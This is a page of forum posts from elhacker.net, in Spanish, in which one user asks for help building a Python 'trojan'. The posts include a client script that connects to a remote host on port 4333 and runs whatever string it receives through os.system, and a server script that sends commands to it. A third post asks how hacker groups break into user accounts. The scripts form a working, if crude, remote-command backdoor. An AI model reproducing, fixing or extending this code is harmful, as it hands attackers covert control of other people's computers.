elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 3 4 [5]
41  Seguridad Informática / Análisis y Diseño de Malware / [Ayuda] Script con python en: 9 Agosto 2016, 15:53 pm
Buenas, hace poco he preguntado cómo comunicarme entre scripts con python para hacer una shell remota simple. Pues bien, he utilizado sockets y me ha funcionado, en red local. Ahora estoy intentando un amigo está intentando conectarse a mi script servidor desde su cliente pero no puede.

He abierto el puerto 4333 público y lo he asociado al 10001 privado en mi router.

Aquí adjunto los scripts. He sustituido las IPs por XX, si pudierais responder del mismo modo os lo agradeceria  :)

Código:
#!/usr/bin/python
# -*- coding: utf-8 -*-

#Script del cliente
 

import socket
import sys
import os
 
# Creo un socket TCP/IP
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = ('XX.XXX.XX.XX', 4333)
sock.connect(server_address)


datos = sock.recv(30)

comando = str(datos)
os.system(comando)

Código:
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
# Script del servidor


import socket
import sys
 
# Creo el socket TCP/IP
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

direc = socket.gethostbyname(socket.gethostname())
# Enlace del socket
server_address = (direc, 10001)
connection = sock.bind(server_address)

# Escuchando conexiones entrantes
sock.listen(1)
 
coman = ''
while coman != 'salir':
    # Esperando una conexion
    print "Esperando conexion..."
    connection, client_address = sock.accept()
    coman = raw_input("Introduce comando: ")
    connection.sendall(coman)
            

connection.close()
42  Seguridad Informática / Análisis y Diseño de Malware / Enviar datos entre servidor y cliente. en: 9 Agosto 2016, 13:42 pm
Buenas, no tengo mucha experiencia en diseño de malware, de hecho esta va a ser mi toma de contacto con él.
Estoy programando una especie de troyano en python que se encargará de ejecutar los comandos que le mande (desde mi script local) en la máquina en la que se encuentre el script remoto.

La cosa es que como digo nunca he hecho nada de este tipo y no tengo ni idea de cómo intercambiar información entre dos scripts, supongo que será con sockets pero me gustaría saber cuál es la mejor manera para lo que yo quiero hacer.

Gracias de antemano.
43  Seguridad Informática / Hacking / Métodos de hacking. en: 9 Agosto 2016, 01:23 am
Buenas, quisiera saber qué métodos utilizan los grupos de hackers para conseguir auditoría en las cuentas de usuario que desean, ya que así lo exponen.
Yo conozco los métodos de los que más se hablan, phishing, inyección sql y haciendo sniff, pero estoy interesado en aprender qué otros métodos hay y no lo encuentro por internet, si no se me puede responder por el foro, comunicádmelo y proporcionaré un email.

Muchas gracias. :)
Páginas: 1 2 3 4 [5]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines